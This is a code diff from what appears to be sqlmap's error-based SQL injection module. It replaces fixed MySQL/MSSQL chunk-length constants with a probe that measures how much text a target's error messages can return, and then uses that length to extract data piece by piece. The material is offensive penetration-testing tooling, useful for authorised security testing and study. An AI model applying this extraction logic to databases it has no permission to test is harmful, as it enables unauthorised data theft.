3535from lib .core .data import queries
3636from lib .core .dicts import FROM_DUMMY_TABLE
3737from lib .core .enums import DBMS
38+ from lib .core .enums import HASHDB_KEYS
3839from lib .core .enums import HTTP_HEADER
3940from lib .core .settings import CHECK_ZERO_COLUMNS_THRESHOLD
40- from lib .core .settings import MYSQL_ERROR_CHUNK_LENGTH
41- from lib .core .settings import MSSQL_ERROR_CHUNK_LENGTH
41+ from lib .core .settings import MIN_ERROR_CHUNK_LENGTH
42+ from lib .core .settings import MAX_ERROR_CHUNK_LENGTH
4243from lib .core .settings import NULL
4344from lib .core .settings import PARTIAL_VALUE_MARKER
4445from lib .core .settings import SLOW_ORDER_COUNT_THRESHOLD
5051from lib .request .connect import Connect as Request
5152from lib .utils .progress import ProgressBar
5253
53- def _oneShotErrorUse (expression , field = None ):
54+ def _oneShotErrorUse (expression , field = None , chunkTest = False ):
5455 offset = 1
5556 partialValue = None
5657 threadData = getCurrentThreadData ()
@@ -63,12 +64,28 @@ def _oneShotErrorUse(expression, field=None):
6364
6465 threadData .resumed = retVal is not None and not partialValue
6566
66- if Backend .isDbms (DBMS .MYSQL ):
67- chunkLength = MYSQL_ERROR_CHUNK_LENGTH
68- elif Backend .isDbms (DBMS .MSSQL ):
69- chunkLength = MSSQL_ERROR_CHUNK_LENGTH
70- else :
71- chunkLength = None
67+ if any (Backend .isDbms (dbms ) for dbms in (DBMS .MYSQL , DBMS .MSSQL )) and kb .errorChunkLength is None and not chunkTest and not kb .testMode :
68+ debugMsg = "searching for error chunk length..."
69+ logger .debug (debugMsg )
70+
71+ current = MAX_ERROR_CHUNK_LENGTH
72+ while current >= MIN_ERROR_CHUNK_LENGTH :
73+ testChar = str (current % 10 )
74+ testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend .isDbms (DBMS .MYSQL ) else "REPLICATE" , testChar , current )
75+ result = unArrayizeValue (_oneShotErrorUse (testQuery , chunkTest = True ))
76+ if result and testChar in result :
77+ if result == testChar * current :
78+ kb .errorChunkLength = current
79+ break
80+ else :
81+ current = len (result ) - len (kb .chars .stop )
82+ else :
83+ current = current / 2
84+
85+ if kb .errorChunkLength :
86+ hashDBWrite (HASHDB_KEYS .KB_ERROR_CHUNK_LENGTH , kb .errorChunkLength )
87+ else :
88+ kb .errorChunkLength = 0
7289
7390 if retVal is None or partialValue :
7491 try :
@@ -79,12 +96,12 @@ def _oneShotErrorUse(expression, field=None):
7996 if field :
8097 nulledCastedField = agent .nullAndCastField (field )
8198
82- if any (Backend .isDbms (dbms ) for dbms in (DBMS .MYSQL , DBMS .MSSQL )) and not any (_ in field for _ in ("COUNT" , "CASE" )): # skip chunking of scalar expression (unneeded)
99+ if any (Backend .isDbms (dbms ) for dbms in (DBMS .MYSQL , DBMS .MSSQL )) and not any (_ in field for _ in ("COUNT" , "CASE" )) and kb . errorChunkLength and not chunkTest :
83100 extendedField = re .search (r"[^ ,]*%s[^ ,]*" % re .escape (field ), expression ).group (0 )
84101 if extendedField != field : # e.g. MIN(surname)
85102 nulledCastedField = extendedField .replace (field , nulledCastedField )
86103 field = extendedField
87- nulledCastedField = queries [Backend .getIdentifiedDbms ()].substring .query % (nulledCastedField , offset , chunkLength )
104+ nulledCastedField = queries [Backend .getIdentifiedDbms ()].substring .query % (nulledCastedField , offset , kb . errorChunkLength )
88105
89106 # Forge the error-based SQL injection request
90107 vector = kb .injection .data [kb .technique ].vector
@@ -125,10 +142,11 @@ def _oneShotErrorUse(expression, field=None):
125142 threadData .lastRequestUID else None , re .DOTALL | re .IGNORECASE )
126143
127144 if trimmed :
128- warnMsg = "possible server trimmed output detected "
129- warnMsg += "(due to its length and/or content): "
130- warnMsg += safecharencode (trimmed )
131- logger .warn (warnMsg )
145+ if not chunkTest :
146+ warnMsg = "possible server trimmed output detected "
147+ warnMsg += "(due to its length and/or content): "
148+ warnMsg += safecharencode (trimmed )
149+ logger .warn (warnMsg )
132150
133151 if not kb .testMode :
134152 check = "(?P<result>.*?)%s" % kb .chars .stop [:2 ]
@@ -146,8 +164,8 @@ def _oneShotErrorUse(expression, field=None):
146164 else :
147165 retVal += output if output else ''
148166
149- if output and len (output ) >= chunkLength :
150- offset += chunkLength
167+ if output and kb . errorChunkLength and len (output ) >= kb . errorChunkLength and not chunkTest :
168+ offset += kb . errorChunkLength
151169 else :
152170 break
153171
0 commit comments